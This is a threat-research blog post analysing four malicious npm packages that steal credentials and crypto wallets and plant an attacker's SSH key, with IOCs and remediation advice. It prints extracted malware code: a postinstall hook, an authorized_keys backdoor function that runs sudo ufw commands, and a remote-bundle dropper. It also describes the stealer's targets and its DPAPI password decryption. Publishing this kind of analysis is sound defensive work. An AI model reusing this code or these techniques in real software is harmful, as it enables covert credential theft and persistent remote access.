CentrioleBlog
Back to blog

Threat Research

ts-ankle: A Meaningless Name Hiding a Four-Package Infostealer and SSH Backdoor

ts-ankle v1.1.0 is the visible tip of a four-package cluster built around a 17-module cross-platform infostealer. One package impersonates Polymarket. One plants your SSH key.

Date

Reading time

14 min read

Author

Centriole Research
Share
ts-ankle: A Meaningless Name Hiding a Four-Package Infostealer and SSH Backdoor

ts-ankle is not a real package. The name has no meaning, no README, and no legitimate purpose. What it does have is a postinstall hook that runs test.js, a home-directory crawler that sends credential files to https://datasecure-service[.]vercel.app/api/v1, and an SSH backdoor that fetches the operator’s public key from the same host and appends it to ~/.ssh/authorized_keys. On Linux it then runs sudo ufw enable and sudo ufw allow 22/tcp to ensure the door stays open.

The OSV advisory flagged ts-ankle on June 27, 2026. Pivoting the publisher account me.lvin.go.mez.6.4.0 recovered three sibling packages published on the same day from the same account. One of them, ts-einkle, carries the actual payload: a 600-line cross-platform infostealer with 17 independent collection modules. Another, polymarket-clob-math, is a lure for crypto traders that downloads and executes the ts-einkle payload remotely on install. The fourth, ts-einkle-slot, is a clone of the legitimate big.js arbitrary-precision math library with ts-ankle injected as a dependency.

Package Inventory

PackageVersionsRolePublished
ts-ankle1.1.0Install-time dropper: credential file harvest + SSH backdoor2026-06-27T16:23Z
ts-einkle1.0.9, 1.1.0, 1.1.2, 1.1.3Core infostealer payload (17 modules)2026-06-26T08:58Z to 16:02Z
ts-einkle-slot0.0.8 through 0.1.2big.js clone with ts-ankle as a dependency (v0.1.2)2026-06-26T09:00Z
polymarket-clob-math1.0.4Polymarket impersonator: remote dropper fetching ts-einkle2026-06-27T17:20Z

The operator published four versions of ts-einkle across a single seven-hour window, the first at 08:58 UTC on June 26 and the last at 16:02 UTC on June 27. Each iteration grew the module count and capability scope. ts-ankle appeared at 16:23 UTC on June 27 -- 21 minutes after the final ts-einkle release -- and polymarket-clob-math at 17:20 UTC, completing the cluster in under two hours.

ts-ankle: The Entry Point

Three files, 15 KB unpacked. package.json declares a postinstall hook pointing at test.js. index.js is the credential file collector. test.js is the runner.

package/package.json: postinstall hook
{
  "scripts": {
    "test": "node test.js",
    "postinstall": "node test.js"
  },
  "dependencies": {
    "axios": "^1.7.0",
    "child_process": "^1.0.2",
    "form-data": "^4.0.0",
    "os": "^0.1.2"
  }
}

The declared dependencies (axios, form-data, os, child_process) are the only legitimate packages in the cluster. The name child_process appearing as an npm dependency is itself a red flag: child_process is a Node.js built-in and does not exist as a separate npm package.

index.js contains two execution paths triggered sequentially by test.js. The first scans the current working directory for files matching credential patterns and uploads them. The second fetches three things from the C2 at install time: an SSH public key, a scan-pattern list, and a block-pattern list. It then performs a full filesystem scan, uploads matching files in 4 MB batches, and -- on Linux -- appends the fetched key to ~/.ssh/authorized_keys.

package/index.js: SSH backdoor (extracted from addSshKeyToUser)
function addSshKeyToUser(sshKey) {
  if (!sshKey || !sshKey.trim()) return false;
 
  const home = process.env.HOME || os.homedir();
  const sshDir = path.join(home, ".ssh");
 
  if (!fs.existsSync(sshDir)) {
    fs.mkdirSync(sshDir, { mode: 0o700, recursive: true });
  }
 
  const authKeys = path.join(sshDir, "authorized_keys");
 
  if (fs.existsSync(authKeys)) {
    const existingKeys = fs.readFileSync(authKeys, "utf8");
    if (existingKeys.includes(sshKey)) { return true; }
  }
 
  fs.appendFileSync(authKeys, `${sshKey}\n`, { mode: 0o600 });
 
  execSync(`sudo chown -R ${username}:${username} ${sshDir}`);
  execSync("sudo ufw enable", { stdio: "inherit" });
  execSync("sudo ufw allow 22/tcp", { stdio: "inherit" });
 
  return true;
}

The key is fetched from https://datasecure-service[.]vercel.app/api/ssh-key, which returns a JSON object {"msg": "<public key>"}. The scan patterns and block patterns are fetched from /api/scan-patterns and /api/block-patterns respectively, allowing the operator to update collection targeting without republishing the package. Files collected in the first pass match the LOCAL_PATTERNS list: id.json, config.toml, Config.toml, config.json, .env, .env.example. Files collected in the wider filesystem scan match whatever the operator’s current pattern list returns.

The upload endpoint is https://datasecure-service[.]vercel.app/api/v1. Each batch is sent as a multipart form POST with a username field prepended by the hardcoded tag piterpan -- recovered from the DEFAULT_USERNAME_TAG constant in index.js -- and the machine’s OS username. The tag piterpan is the operator’s self-identification string embedded in every upload to the C2.

The C2 domain datasecure-service.vercel.app was not found in the OSSF malicious-packages GitHub repository, the kmsec.uk DPRK feed, Socket.dev, or VirusTotal at the time of analysis. This is a previously undocumented C2.

ts-einkle: The Payload

ts-einkle v1.1.3 is the iteration the operator published 21 minutes before ts-ankle. At 87 KB unpacked across five files, it is six times larger than the final prior version. The core is peer-math.js, a 600-line cross-platform infostealer that the operator internally names psm-peer-bundle (from the stage2-package.json file recovered from the tarball). scripts/pack-stage2.cjs is a packaging script that builds the psm-peer.tgz bundle the polymarket-clob-math dropper fetches at install time.

The C2 endpoint in peer-math.js is the same https://datasecure-service[.]vercel.app/api/v1. The operator tag is the same piterpan. The functional difference from ts-ankle is scope: where ts-ankle does one file harvest pass and one SSH key injection, ts-einkle v1.1.3 runs a full session via syncSession() that calls three distinct collection pipelines in sequence.

peer-math.js: main entry point (syncSession)
async function syncSession(usernameTag) {
  if (process.env.PSM_RAN === "1") return;
  process.env.PSM_RAN = "1";
 
  setUsernameTag(usernameTag);
 
  await packProjectBundle(false);
  await packWalletsAndCreds(false);
  await packDeepScan(false);
}

The PSM_RAN guard prevents the payload from executing twice in the same Node.js process -- a standard deduplication pattern.

packProjectBundle collects sensitive files from the project root (INIT_CWD or npm_config_local_prefix), reads shell history from bash, zsh, fish, and PowerShell on all platforms, captures a clipboard snapshot, and scrapes source code files for embedded private keys and mnemonics. The dev secret scraper uses eleven regex patterns targeting EVM private keys, Solana key arrays, BIP39 mnemonic phrases, Hardhat/Foundry mnemonics, AWS secret access keys, and npm, GitHub, and PyPI tokens.

packWalletsAndCreds targets browser wallet extensions in Chrome, Edge, Brave, and Firefox. Eight wallet extensions are targeted by extension ID: MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn), Phantom (bfnaelmomeimhlpmgjnjophhpkkoljpa), Solflare, OKX, Coinbase, Trust Wallet, Backpack, and TronLink. On Windows, the browser Login Data SQLite database is copied to a temp path, opened with sql.js, and the logins table is queried. The AES-256-GCM master key is decrypted via a PowerShell DPAPI call (ProtectedData.Unprotect()). Decrypted credentials are written to a browser-passwords.txt file and uploaded.

The same pipeline also collects SSH keys from ~/.ssh, AWS credentials from ~/.aws, GPG keys from ~/.gnupg, .git-credentials, the GitHub CLI token at ~/.config/gh/hosts.yml, .npmrc, .pypirc, and ~/.docker/config.json. Exodus and Electrum desktop wallet files are targeted by known platform paths. Bitwarden’s data.json and KeePass .kdbx files from Documents and Desktop are also collected.

packDeepScan performs a platform-wide filesystem sweep using the same sensitive-file detection rules, then additionally targets Telegram Desktop tdata directories (Windows and macOS), Windows Sticky Notes (plum.sqlite), Notion’s app data directory, OneNote local data, and a broader clipboard monitor window.

A run-once marker file at /tmp/data-backup-upload-tdata.sent and /tmp/data-backup-upload-wallets.sent prevents the Telegram and wallet uploads from repeating if the package is installed multiple times or updated.

The operator tag piterpan propagates into the username field of every upload. The meta object accompanying each batch identifies which collection pipeline produced it (pack: "project", pack: "wallets", pack: "deep"), enabling the operator to triage incoming data at the C2 by collection stage.

ts-einkle Version Timeline

VersionPublished (UTC)Unpacked sizeNotes
1.0.92026-06-26T08:58Z14 KBInitial release; basic credential file harvest only; same deps as ts-ankle
1.1.02026-06-27T08:06Z14 KBMinor iteration; no significant size change
1.1.22026-06-27T09:24Z15 KBSize increase; additional collection logic added
1.1.32026-06-27T16:02Z87 KBMajor expansion: peer-math.js added; 17 collection modules; pack-stage2.cjs for bundle delivery; sql.js dependency for browser Login Data

The jump from 15 KB to 87 KB between v1.1.2 and v1.1.3 is the introduction of the full syncSession architecture. The operator was actively developing the payload in real time and published the production-ready bundle 21 minutes before ts-ankle appeared.

polymarket-clob-math: Remote Dropper

polymarket-clob-math impersonates a Polymarket prediction market staking utility. Its index.js exposes computeKellyStake, formatStakeUsd, and roundStake -- three legitimate-sounding functions backed by a real kelly.js file that computes Kelly criterion stake sizes. A developer installing this to use in a trading bot or backtester gets working math utilities. The malware runs silently during npm install.

The homepage field in package.json is set to https://datasecure-service[.]vercel.app/config/clob-math.json. This is the C2 configuration endpoint. The postinstall script runs scripts/install-check.cjs, which reads the homepage field, fetches the JSON at that URL, extracts the peerBundle field (a URL pointing to the psm-peer.tgz bundle), downloads the tarball, extracts it to a hidden .peer directory, runs npm install inside it to resolve dependencies including sql.js, and then calls syncSession().

polymarket-clob-math: install-check.cjs (core sequence, truncated)
async function main() {
  const bundleUrl = await resolvePeerBundleUrl();  // reads homepage → fetches config → returns .tgz URL
  const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'psm-sync-'));
  const tgzPath = path.join(tmp, 'peer-bundle.tgz');
 
  await fetchToFile(bundleUrl, tgzPath);            // downloads psm-peer.tgz
  extractPeerBundle(tgzPath);                       // extracts to .peer/, runs npm install
  await runPeerSync();                              // calls syncSession() from peer-math.js
}

The indirection matters. polymarket-clob-math itself contains no credential-stealing code. Static analysis of the package without running the C2 config fetch returns a working math library with a suspicious homepage. The full payload only materialises when the operator’s Vercel endpoint is live and serving the bundle URL. VirusTotal analysis of install-check.cjs at the time of publishing returned 0/66 engine detections.

ts-einkle-slot: Dependency Vector

ts-einkle-slot v0.0.8 through v0.1.1 depends on ts-einkle. Version v0.1.2 -- published the same day as ts-ankle -- switches the dependency to ts-ankle. The package itself is a verbatim copy of big.js v7.0.1, a legitimate arbitrary-precision arithmetic library with 61 million weekly downloads. Repository metadata in package.json points at github.com/MikeMcl/big.js, the real big.js repository. Anyone installing ts-einkle-slot believing it to be a big.js fork or variant installs ts-ankle as a transitive dependency.

C2 and Infrastructure

All four packages route to https://datasecure-service[.]vercel.app. The domain is operator-controlled, hosted on Vercel’s serverless platform. Three endpoints are active: /api/v1 (upload), /api/ssh-key (SSH key delivery), and /api/scan-patterns / /api/block-patterns (dynamic retargeting). A fourth endpoint /config/clob-math.json serves the bundle URL consumed by polymarket-clob-math.

The use of Vercel for C2 infrastructure is consistent with the jsonspack / chai-as-* cluster documented by Panther in April 2026, where server-check-genimi.vercel.app served payloads to the Vercel delivery cluster. The pattern -- legitimate cloud platform hosting malicious API endpoints with professional-looking domains -- makes URL-based blocking ineffective without breaking legitimate Vercel traffic.

The operator tag piterpan was searched across the OSSF malicious-packages GitHub repository, the kmsec.uk DPRK feed, Socket.dev, VirusTotal, and the npm registry search API. No prior attribution was found. The datasecure-service.vercel.app domain likewise returned no results in any of these sources. Attribution beyond the operator’s self-chosen tag is unknown.

OPSEC Failures

Three mistakes in the cluster are worth naming.

First, the DEFAULT_USERNAME_TAG = "piterpan" constant is a plaintext self-identification string embedded in index.js and peer-math.js. Every upload to the C2 carries this tag in the username field. The operator can filter incoming data by tag at the C2, but the same tag identifies them across packages.

Second, the stage2-package.json file in ts-einkle v1.1.3 declares the internal package name psm-peer-bundle and lists sql.js as a dependency -- a slip that reveals the operator’s internal naming convention and staging workflow before the bundle reaches its final delivery endpoint.

Third, the polymarket-clob-math package sets the C2 config URL as the homepage field in package.json. This field is publicly indexed by the npm registry and is the first thing any security scanner inspects. Any tool checking whether a package’s homepage is an attacker-controlled Vercel endpoint immediately surfaces the C2.

IOC Table

TypeValueMethod
C2 endpointhttps://datasecure-service[.]vercel.app/api/v1Extracted from DEFAULT_API_BASE constant in ts-ankle/index.js and ts-einkle/peer-math.js
C2 endpointhttps://datasecure-service[.]vercel.app/api/ssh-keyExtracted from from_str_2() in ts-ankle/index.js
C2 endpointhttps://datasecure-service[.]vercel.app/api/scan-patternsExtracted from from_str_2() in ts-ankle/index.js
C2 endpointhttps://datasecure-service[.]vercel.app/api/block-patternsExtracted from from_str_2() in ts-ankle/index.js
C2 endpointhttps://datasecure-service[.]vercel.app/config/clob-math.jsonExtracted from homepage field in polymarket-clob-math/package.json
Operator tagpiterpanExtracted from DEFAULT_USERNAME_TAG constant in ts-ankle/index.js and peer-math.js
File path~/.ssh/authorized_keysWritten by addSshKeyToUser() in ts-ankle/index.js
Temp path pattern/tmp/psm-sync-*Created by polymarket-clob-math/install-check.cjs during bundle fetch
Temp path pattern/tmp/data-backup-upload-tdata.sentMarker file written by ts-einkle/peer-math.js after Telegram tdata upload
Temp path pattern/tmp/data-backup-upload-wallets.sentMarker file written by ts-einkle/peer-math.js after wallet upload
Process indicatorsudo ufw enable spawned during npm installSpawned by addSshKeyToUser() on Linux; anomalous for any npm package install
Internal package namepsm-peer-bundleExtracted from ts-einkle/stage2-package.json; operator’s internal staging name
Publisher accountme.lvin.go.mez.6.4.0 / me.lvin.go.mez.6.4.0@gmail.comExtracted from npm registry metadata for all four packages

Affected Versions Table

PackageVersionTarball SHA-256StatusOSV
ts-ankle1.1.01140b620dca64c9fab9220e4e2b0673e907eb3ee8ac23c57ae367c2e1908ea29UnpublishedMAL-2026-6548
ts-einkle1.0.9(tarball live at analysis)LiveNo advisory at time of writing
ts-einkle1.1.0(tarball live at analysis)LiveNo advisory at time of writing
ts-einkle1.1.2(tarball live at analysis)LiveNo advisory at time of writing
ts-einkle1.1.38cc18c53a6fd79511f90451c763b907c6976c27c7ae7b42ef15dadafb7d53e7fLiveNo advisory at time of writing
ts-einkle-slot0.0.8 to 0.1.1(depend on ts-einkle)LiveNo advisory at time of writing
ts-einkle-slot0.1.2593ebe34821f85e54b7629b0486dce77255f6e34c625bcf6f07c13d360fc50e6LiveNo advisory at time of writing
polymarket-clob-math1.0.40604ddc9c1ea22b40fd1f844f5a6590660d694b9ba218ffca13dd30d18bfa9f3LiveNo advisory at time of writing

ts-ankle v1.1.0 is the only package with an OSV entry. All three sibling packages remain live on npm with no security advisories as of this post.

Remediation

Any system that installed ts-ankle, ts-einkle, any version of ts-einkle-slot, or polymarket-clob-math should be treated as fully compromised.

On Linux: inspect ~/.ssh/authorized_keys immediately for keys not placed there by you. Remove any unrecognized entries. Check ufw rules for unexpected port 22 allow entries. Rotate or regenerate SSH keypairs from a clean machine.

Rotate all credentials the machine could have reached: browser-stored passwords across Chrome, Brave, and Edge; all crypto wallet seed phrases and private keys for MetaMask, Phantom, Solflare, OKX, Coinbase, Trust Wallet, Backpack, and TronLink; AWS access keys and secrets; npm tokens; GitHub personal access tokens; the GitHub CLI token at ~/.config/gh/hosts.yml; .npmrc auth tokens; .pypirc credentials; Docker registry credentials; and any private keys or mnemonics in .env files, Hardhat or Foundry config files, or Solana keypair JSON files.

On Windows and macOS: treat Telegram Desktop session data as compromised if the Telegram app was installed and the machine was affected. Check Bitwarden data.json and KeePass vault files for signs of exfiltration.

Check ~/.ssh directory ownership. The payload runs sudo chown -R <username>:<username> ~/.ssh -- an unexpected change in SSH directory ownership is a confirmation indicator on systems where it is monitored.

Identify these packages in package.json, package-lock.json, or yarn.lock files across your repositories and CI environments. The ts-einkle-slot packages are the most likely to have been installed as an apparent alternative to the legitimate big.js, particularly in trading or prediction market tooling contexts.